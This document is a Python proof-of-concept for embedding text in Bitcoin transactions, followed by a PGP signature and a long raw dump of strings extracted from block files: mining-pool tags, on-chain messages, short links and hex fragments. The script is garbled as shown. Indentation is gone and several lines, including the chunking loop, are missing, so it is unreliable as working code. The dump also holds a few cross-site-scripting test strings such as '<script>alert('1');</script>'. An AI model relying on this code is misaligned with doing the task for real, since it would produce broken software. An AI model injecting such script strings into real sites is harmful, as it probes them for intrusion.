# Requires python-bitcoinlib w/ sendmany support:
#
# https://github.com/petertodd/python-bitcoinlib/commit/6a0a2b9429edea318bea7b65a68a950cae536790
import sys
if sys.version_info.major < 3:
sys.stderr.write('Sorry, Python 3.x required by this example.\n')
sys.exit(1)
import argparse
import hashlib
import logging
import os
import bitcoin.rpc
from bitcoin.core import *
from bitcoin.core.script import *
from bitcoin.wallet import *
parser = argparse.ArgumentParser(
description="Publish text in the blockchain, suitably padded for easy recovery with strings",
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('-n', action='store_true',
dest='dryrun',
help="Dry-run; don't actually send the transactions")
parser.add_argument("-q","--quiet",action="count",default=0,
help="Be more quiet.")
parser.add_argument("-v","--verbose",action="count",default=0,
help="Be more verbose. Both -v and -q may be used multiple times.")
parser.add_argument("--min-len",action="store",type=int,default=20,
help="Minimum text length; shorter text is padded to this length")
parser.add_argument("-f","--fee-per-kb",action="store",type=float,default=0.0002,
parser.add_argument("-k","--privkey",action="store",type=str,default=None,
help="Specify private key")
net_parser = parser.add_mutually_exclusive_group()
net_parser.add_argument('-t','--testnet', action='store_true',
dest='testnet',
help='Use testnet')
net_parser.add_argument('-r','--regtest', action='store_true',
dest='regtest',
help='Use regtest')
parser.add_argument('fd', type=argparse.FileType('rb'), metavar='FILE',
help='Text file')
args = parser.parse_args()
# Setup logging
args.verbosity = args.verbose - args.quiet
if args.verbosity == 0:
logging.root.setLevel(logging.INFO)
elif args.verbosity >= 1:
elif args.verbosity == -1:
logging.root.setLevel(logging.WARNING)
elif args.verbosity <= -2:
logging.root.setLevel(logging.ERROR)
if args.testnet:
bitcoin.SelectParams('testnet')
elif args.regtest:
bitcoin.SelectParams('regtest')
proxy = bitcoin.rpc.Proxy()
if args.privkey is None:
args.privkey = CBitcoinSecret.from_secret_bytes(os.urandom(32))
else:
args.privkey = CBitcoinSecret(args.privkey)
logging.info('Using keypair %s %s' % (b2x(args.privkey.pub), args.privkey))
# Turn the text file into padded lines
# work around a bug where even though we specified binary encoding we get
# the sys.stdin instead.
args.fd = sys.stdin.buffer
padded_lines = [b'\x00' + line.strip().ljust(args.min_len) + b'\x00' for line in args.fd.readlines()]
scripts = []
while padded_lines:
def make_scripts(lines, n):
# The n makes sure every p2sh addr is unique; the pubkey lets us
# control the order the vin order vs. just using hashlocks.
redeemScript = []
for chunk in reversed(lines):
if len(chunk) > MAX_SCRIPT_ELEMENT_SIZE:
parser.exit('Lines must be less than %d characters; got %d characters' %\
(MAX_SCRIPT_ELEMENT_SIZE, len(chunk)))
redeemScript.extend([OP_HASH160, Hash160(chunk), OP_EQUALVERIFY])
redeemScript = CScript(redeemScript + [args.privkey.pub, OP_CHECKSIGVERIFY, n, 1])
return CScript(lines) + redeemScript, redeemScript
scriptSig = redeemScript = None
next_scriptSig, next_redeemScript = make_scripts(padded_lines[0:i+1], len(scripts))
# FIXME: magic numbers!
if len(next_redeemScript) > 520 or len(next_scriptSig) > 1600-100:
padded_lines = padded_lines[i+1:]
break
else:
scriptSig = next_scriptSig
redeemScript = next_redeemScript
else:
padded_lines = []
scripts.append((scriptSig, redeemScript))
# pay to the redeemScripts to make them spendable
# the 41 accounts for the size of the CTxIn itself
payments = {P2SHBitcoinAddress.from_redeemScript(redeemScript):int(((len(scriptSig)+41)/1000 * args.fee_per_kb)*COIN)
for scriptSig, redeemScript in scripts}
prevouts_by_scriptPubKey = None
if not args.dryrun:
txid = proxy.sendmany('', payments)
logging.info('Sent pre-pub tx: %s' % b2lx(txid))
tx = proxy.getrawtransaction(txid)
prevouts_by_scriptPubKey = {txout.scriptPubKey:COutPoint(txid, i) for i, txout in enumerate(tx.vout)}
else:
prevouts_by_scriptPubKey = {redeemScript.to_p2sh_scriptPubKey():COutPoint(b'\x00'*32, i)
for i, (scriptSig, redeemScript) in enumerate(scripts)}
logging.debug('Payments: %r' % payments)
logging.info('Total cost: %s BTC' % str_money_value(sum(amount for addr, amount in payments.items())))
# Create unsigned tx for SignatureHash
# By paying this rather than an OP_RETURN the tx shows up on bc.i, convenient
# for determining propagation; inception for the lulz.
# FIXME: these 600 satoshi's aren't taken into account above...
vout = [CTxOut(600, CScript().to_p2sh_scriptPubKey().to_p2sh_scriptPubKey())]
#vout = [CTxOut(0, CScript([OP_RETURN]))]
unsigned_vin = []
for scriptSig, redeemScript in scripts:
scriptPubKey = redeemScript.to_p2sh_scriptPubKey()
txin = CTxIn(prevouts_by_scriptPubKey[scriptPubKey])
unsigned_vin.append(txin)
unsigned_tx = CTransaction(unsigned_vin, vout)
# Sign!
signed_vin = []
for i, (scriptSig, redeemScript) in enumerate(scripts):
sighash = SignatureHash(redeemScript, unsigned_tx, i, SIGHASH_NONE)
sig = args.privkey.sign(sighash) + bytes([SIGHASH_NONE])
signed_scriptSig = CScript([sig] + list(scriptSig))
txin = CTxIn(unsigned_vin[i].prevout, signed_scriptSig)
signed_vin.append(txin)
signed_tx = CTransaction(signed_vin, vout)
if args.dryrun:
serialized_tx = signed_tx.serialize()
logging.info('tx size: %d bytes' % len(serialized_tx))
logging.debug('hex: %s' % b2x(serialized_tx))
else:
# FIXME: the tx could be too long here, but there's no way to get sendmany
# to *not* broadcast the transaction first. This is a proof-of-concept, so
# punting.
txid = proxy.sendrawtransaction(signed_tx)
logging.info('Sent publish tx: %s' % b2lx(txid))
-----BEGIN PGP SIGNATURE-----
iQGrBAEBCACVBQJVFnQAXhSAAAAAABUAQGJsb2NraGFzaEBiaXRjb2luLm9yZzAw
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AICy1se5SzpBRZtHKkqPm6tav3vlTRbQAaQL9fTuJFZ8TquS1G8oHv9cUt+RzgnB
QN5RXjxAASFwhjEze9qlPIcwSTvk68fWQCdXWS+sxA6vjt/BsSBCUaPdyHIZmO48
xa1i6nGq72I7Q3rzhXVcVYTSUKTAi89aaDD6Sxb0vD/8NzqLxE4QmTWSvUJDHQ==
=k/bK
-----END PGP SIGNATURE-----
Mined by AntPool bj78
Mined by AntPool sc1#
/TangPool/avalon4_tl/
Mined by AntPool sc1#
Mined by AntPool bj2/
Mined by AntPool sc1#
Mined by AntPool sc1#
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/QKrr8yhrm2
Mined by AntPool bj2/
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
What is the Banking? Control.
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
Mined by AntPool bj2/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
/TangPool/tangpoolgonbo/HAOBTC
l&HE WHO IS GIVEN EVERYTHING HAS NOTHING
(j&Lee Kuan Yew 16 Sep 1923 - 23 Mar 2015
Mined by wangxingsmile
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool bj78
Mined by AntPool usa1%
$/mining.bitcoinaffiliatenetwork.com/
/TangPool/dht025911/
n'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool nmg0&
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
$/mining.bitcoinaffiliatenetwork.com/
Mined by AntPool bj5/
9a998a75666dd9ad2c27
GB2APDK Ninjas team 4ever.
9a998a75666dd9ad2c27
1f87728ec6f025f2c257
5362d0ef4dedd872786b
642a9d65b76b7d0cc6cf
4a61bc69c49cfe7c6164
110983fef98211b9006b
d3df7d47985b879c8bfa
0c2c2d9cbcae4c4d689f
2c623677f83e67469439
bf80691109dc07f36100
8608d717df71e982d1c4
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dabcc703cdc3da44f15c
45de275b0a5dabf9dafe
9a998a75666dd9ad2c27
1f87728ec6f025f2c257
5362d0ef4dedd872786b
642a9d65b76b7d0cc6cf
4a61bc69c49cfe7c6164
110983fef98211b9006b
d3df7d47985b879c8bfa
0c2c2d9cbcae4c4d689f
2c623677f83e67469439
bf80691109dc07f36100
8608d717df71e982d1c4
123b57812b5a32b6d4ef
dabcc703cdc3da44f15c
45de275b0a5dabf9dafe
(j&<script>alert('Hello world');</script>
Mined by AntPool sc0
Mined by AntPool sc1#
/TangPool/tangpoolgonbo/HAOBTC
'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool nmg0&
Mined by AntPool usa1%
Mined by AntPool usa1%
Mined by AntPool bj0
1embiivpxfdUfLKLp4LJ
MMtjYvK6c2EJA.SIG<88
|HH7+PJVqbvzCNd3VPzm
dJUarUqyT7Ll4OvQF7Gh
wGQ7JUVhdTUHc1nPq/dc
fAqvhim9Wggyri8A1m7y
uawhYiwA=>11<<!--TES
What is the Banking? Control.
Mined by xiafeng52188888
SatoshiTheBitcoiners
Mined by qq408049975
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool sc0
Mined by dinglong123
Mined by AntPool bj78
Mined by AntPool sc0
Mined by AntPool usa09
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
$/mining.bitcoinaffiliatenetwork.com/
$/mining.bitcoinaffiliatenetwork.com/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
Mined by qq2642205294
Mined by jorneyflair
Mined by AntPool bj69
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
<script>alert('1');</script>
ASCRIBESPOOLREGISTER
<script>alert('1');</script>
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Follow the white rabbit.
/TangPool/haobtc/HAOBTC.COM
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
e8e89ea4318ee261aa2b
2e6e0013e828bc5ad991
870949c9264ae8f9ba35
17c091b8d423910eb04d
396a633cbaf0ce5181c2
b11db51989dcab74ef11
7052fb601911fc20ca84
154498a11fb6eeec47a7
138bde4ca7709f79ae1f
4593b2aa330db757bf04
8265b7232bb5bbd6997d
62ab98f7d6bbec707130
4c08333da1983dd33f24
2b910f7dd6a63b2fcf60
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Welcome to the real world.
Mined by AntPool sc0
1embiivpxfdUfLKLp4LJ
MMtjYvK6c2EJA.SIG>88
<HHLD4NcyEbPK8YFL4s6
cWaP8AGtdb5x9R/OW5TQ
GDzqkemcz70RiKfxK2tf
YtOr9czM100OPuObvKBQ
ZMX02cAg=/96:This is
a demonstration of
ownership by digital
y signing an object
using an owner's pri
vate key.creation.jp
EFGHIJSTUVWXYZcdefgh
HIJSTUVWXYZcdefghijs
u=https://bitcoins.uk/cc/tcp
u=https://bitcoins.uk/cc/tcpNy
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by AntPool usa1%
221a5647753087aefc6d
b50a0a5d16888f04101d
d994d79e33d913a7c229
f268>4092/221a564775
3087aefc6db50a0a5d16
888f04101dd994d79e33
ad78d33db377ab4247bd
fcdcef9740161daf60d8
fb9f06c6e320a68e53fc
a152e48db3ab6c2e0ff2
0bfb69b082a1eb82c571
3277cf414c9d4e21b61a
432647e2ea211e056cce
6b1c23143feb3daa13ab
e811791ddc43217ded5a
4ce12611182d22d61ab1
396ad4989cb35ed9038e
2d36bb79f4005964ef94
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b7b328504fce5fd8e653
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18d12f5780169a305b42
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1a23f44b1449fdefe12b
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57810f058f0ffb0534ad
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4b6a76c15eb8c5da71f5
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9377004958e2bcb9da45
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3bbc773cdc28ab8d4bfe
7a152456ac74e869891f
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8d4bfe7a152456ac74e8
69891fb412c93d750406
dc28ab8d4bfe7a152456
ac74e869891fb412c93d
bc773cdc28ab8d4bfe7a
152456ac74e869891fb4
7d9f3bbc773cdc28ab8d
4bfe7a152456ac74e869
6896c47d9f3bbc773cdc
28ab8d4bfe7a152456ac
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429b5c549f4d22e849d0
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31c3c9e445067041fad8
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e95e8431c3c9e4450670
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219ecd10eddca54288ff
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067041fad8b847180d21
9ecd10eddca54288ff7d
c9e445067041fad8b847
180d219ecd10eddca542
8431c3c9e445067041fa
d8b847180d219ecd10ed
99e95e8431c3c9e44506
7041fad8b847180d219e
cd10eddca54288ff7d0b
e445067041fad8b84718
0d219ecd10eddca54288
a4175f23326c8ee14acb
c9e5a16c9decb8f444bb
b102216a8850014cbd47
97e1d343b3625db5e879
b45ac47697e297add28c
4cbd4797e1d343b3625d
b5e879b45ac47697e297
8850014cbd4797e1d343
b3625db5e879b45ac476
02216a8850014cbd4797
e1d343b3625db5e879b4
5ac47697e297add28c83
bd4797e1d343b3625db5
e879b45ac47697e297ad
50014cbd4797e1d343b3
625db5e879b45ac47697
216a8850014cbd4797e1
d343b3625db5e879b45a
b0b102216a8850014cbd
4797e1d343b3625db5e8
79b45ac47697e297add2
014cbd4797e1d343b362
5db5e879b45ac47697e2
6a8850014cbd4797e1d3
43b3625db5e879b45ac4
9d65a1e2d45ec5c30b34
1fe80a0df200426f9d53
d10b235658be1d111660
946d8d967bd63f45b924
2fdf01a8696841e6d80e
1374e9946d8d967bd63f
45b9242fdf01a8696841
9eaf6eec3eb882e0066f
cfa7d46f39c2193921df
ad43faa9dda464d6ff24
5273f09867c347c798db
7f9df9fbcc7245202886
62e9efe54db47cdd12eb
908e?132"5273f09867c
347c798db7f9df9fbcc7
24520288662e9efe54db
8c74741805019eb968be
b30ec795072164da80e1
Mined by AntPool sc1#
Mined by AntPool sc0
Mined by AntPool sc1#
Mined by AntPool sc0
Mined by AntPool sc1#
*j(0123456789012345678901234567890123456789
Mined by AntPool sc1#
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
Mined by AntPool bj2/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/TangPool/tangpoolgonbo/HAOBTC
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU
What is the Banking? Control.
Mined by AntPool bj78
Mined by AntPool sc0
/TangPool/avalon4_tl/
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool sc0
What is the Banking? Control.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDUy
ASCRIBESPOOLREGISTER
u=https://cpr.sm/0Z1A1KnObM
File: blk00250.txt
ASCRIBESPOOLREGISTER
Mined by AntPool bj2/
Mined by pdsfanshuguang
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU
u=https://cpr.sm/qsXjkLvRB88]
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
u=https://cpr.sm/gjvKYGVnta
-----BEGIN PGP MESSA
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YXZejUMMq9gzLWqNcZ07
gC1KQAk3YnREmOwEAj/p
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I7bkz4upF2sEunpOPmiL
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-----BEGIN PGP MESSA
oQe/9AQf/byEYYyJtSqk
YXZejUMMq9gzLWqNcZ07
gC1KQAk3YnREmOwEAj/p
lAYJoJwmt6OBXZWMmSXN
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JtKewaAgtsrYqjaQfIXo
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gC4Roaf1OgYG0J1tQ6mv
---END PGP MESSAGE--
Mined by AntPool nmg0&
Mined by AntPool nmg0&
#The truth is that there is no spoon
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
'NOTHING BIG CAME OUT OF SOMETHING SMALL
F'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj69
Mined by AntPool nmg0&
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
/TangPool/haobtc/HAOBTC.COM
/TangPool/woaiwojia888/
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc0
Mined by songlei6666
'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
midasrezerv.com/!reports/AMST-AUDREPORT-01.pdf
midasrezerv.c!om/reports/amst-iss-00001.zip
midasrezerv.c!om/reports/amst-iss-00001.zip
midasrezerv.c!om/reports/amst-iss-00001.zip
/TangPool/avalon4_tl/
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
Mined by AntPool bj78
...BUT SWEAT MEMORIES REMAIN
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5/
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
What is the Banking? Control.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
/TangPool/tangpoolgonbo/HAOBTC
1embiivpxfdUfLKLp4LJ
MMtjYvK6c2EJA.SIG>88
<HP2XMSWg+hfOcVdu/VV
qeX0MtucTPzRUtrvLgKY
TXge/e7zr6p1CW7dyAhx
yRMwmc7ZR0t4eQP+BOew
tIw5g6fI="390><!--TF
d2d07c47ab462ea38941
5f4b95559106ff5f83f2
CkvMo6cmhNBNMwaPGjpn
SF5xSHCijLE9PuwgpcM2
vehXE1P6xeudqAHqKfs1
Lp4LJMMtjYvK6c2EJA--
>This is a demonstra
tion of transfering
and dividing ownersh
ip rights of a Bitco
in blockchain object
to the Litecoin and
Mazacoin blockchain
s using a simple scr
ipt.Transfer.jpg:118
%&'()*456789:CDEFGHI
JSTUVWXYZcdefghijstu
'()*56789:CDEFGHIJST
UVWXYZcdefghijstuvwx
a8ecd90164a8256749d6
27e6d3ab86226d6d64ea
eff7fcbf78ba3c7adaf2
499b"330"a8ecd90164a
8256749d627e6d3ab862
26d6d64eaeff7fcbf78b
c95e87d0310742c73a03
54aa7dc089644f043cdb
3a74f3fd8733df66c9ff
4d57076508793128094f
a8ad1bf66a75b77f0869
ab8eed41186e818ce960
5248fa0f5dd26d4a42ac
33d897e4e485a0da2478
Mined by zhanlongclam
Mined by AntPool bj2/
Mined by AntPool bj0
Mined by AntPool bj2/
Mined by AntPool sc1#
ASCRIBESPOOLREGISTER
Mined by AntPool usa1%
m'NOTHING BIG CAME OUT OF SOMETHING SMALL
Mined by AntPool sz0
u=https://cpr.sm/fBjW1Xd4Q58]
<script src=foo></script>
u=https://cpr.sm/h-gGwVBvDU
/TangPool/tangpoolgonbo/HAOBTC
Mined by AntPool bj5/
Mined by zhangshuhua
Mined by AntPool sc0
assembly.com/podato/coin
Mined by AntPool sc0
http://satoshi.4my.eu
Mined by AntPool usa1%
https://suredbits.com/m/9(
Mined by AntPool sc1#
Mined by AntPool usa09
GB2APDK Ninjas team 4ever.
u=https://suredbits.com/m/10
Mined by AntPool sc1#
Mined by AntPool bj0
#The truth is that there is no spoon
Mined by AntPool sc0
Mined by AntPool sc0
/TangPool/tangpoolgonbo/HAOBTC
u=https://cpr.sm/oaINMVqKzl(
u=https://cpr.sm/oaINMVqKzl
u=https://cpr.sm/oaINMVqKzlXv
u=https://cpr.sm/Aj57pvyBbPh)
u=https://cpr.sm/Aj57pvyBbP
/TangPool/tangpoolgonbo/HAOBTC
SOMETESTFORASCRIBEONDIF
$j"SOMETESTFORASCRIBEONDIFFERENTNETWO
'j%SOMETESTFORASCRIBEONDIFFERENTNETWORKS
Mined by AntPool sc1#
GB2APDK Ninjas team 4ever.
'j%SOMETESTFORASCRIBEONDIFFERENTNETWORKS
/TangPool/avalon4_tl/
Mined by AntPool usa1%
Mined by huangyuhang
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj2/
ASCRIBESPOOLREGISTER
Welcome to the real world.
u=http://n.opn.as/16
u=http://n.opn.as/17
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLREPLENISH
This is my voice on
ASCRIBESPOOLREPLENISH
ASCRIBESPOOLTRANSFER
Mined by AntPool bj0
ASCRIBESPOOLREPLENISH
Mined by AntPool nmg0&
ASCRIBESPOOLREGISTER
Mined by AntPool bj78
ASCRIBESPOOLREPLENISH
Mined by AntPool bj69
Mined by AntPool sc0
/TangPool/haobtc/HAOBTC.COM
Time is always against us.
T-SMILE TO LIFE AND LIFE WILL SMILE BACK AT YOU
...BUT SWEAT MEMORIES REMAIN
...BUT SWEAT MEMORIES REMAIN
Mined by AntPool usa09
Mined by AntPool sc0
Time is always against us.
Mined by AntPool bj0
Mined by AntPool sz0
u=http://n.opn.as/18
/TangPool/avalon4_tl/
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool sc0
Mined by AntPool usa09
u=http://goo.gl/Xtb3Oa
u=https://cpr.sm/F2aE3dCJJ7H
What is the Banking? Control.
Mined by startover0001
u=https://cpr.sm/YJlj6S_tCU
Time is always against us.
u=http://goo.gl/RDDhP1
u=https://cpr.sm/h-gGwVBvDU
tMined by f2poolscant
Mined by AntPool usa1%
/TangPool/haobtc/HAOBTC.COM
Mined by AntPool sc0
Mined by AntPool usa09
Mined by AntPool nmg0&
Mined by AntPool sc0
Mined by AntPool nmg0&
Mined by AntPool bj78
File: blk00251.txt
Mined by AntPool bj2/
Mined by a3137378223
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREPLENISH
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
'NOTHING BIG CAME OUT OF SOMETHING SMALL
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
midasrezerv.com/reports/!mrcad-issuance-2kg-310315.zip
DEVCHAwww.google.com
midasrezerv.com/r!eports/mrcad-audit-010415.zip
unsuccessful double-spend attempt
ASCRIBESPOOLREPLENISH
Mined by AntPool sz0
ASCRIBESPOOLTRANSFER
u=https://cpr.sm/hVrS39_PeQx
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
githu!b.com/amilabs/chainy/tree/developS
DEVCHAwww.amsterdamsafe.com
unsuccessful double-spend attempt
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
What is the Banking? Control.
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU`
u=https://cpr.sm/h-gGwVBvDU
u=https://cpr.sm/h-gGwVBvDU
Mined by AntPool nmg0&
ASCRIBESPOOLREGISTER
)*Mined by f2poolscant
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/h-gGwVBvDU(L
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://cpr.sm/3BLqgIUW-Fxj
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool nmg0&
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=https://suredbits.com/m/118Q
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
u=http://n.opn.as/18Z
&HE WHO IS GIVEN EVERYTHING HAS NOTHING
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by qq553967525
u=https://cpr.sm/eSn64vbNSV
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool bj5/
u=https://cpr.sm/eSn64vbNSV
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
Mined by AntPool usa09
u=https://cpr.sm/eSn64vbNSV8]
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
ASCRIBESPOOLREGISTER
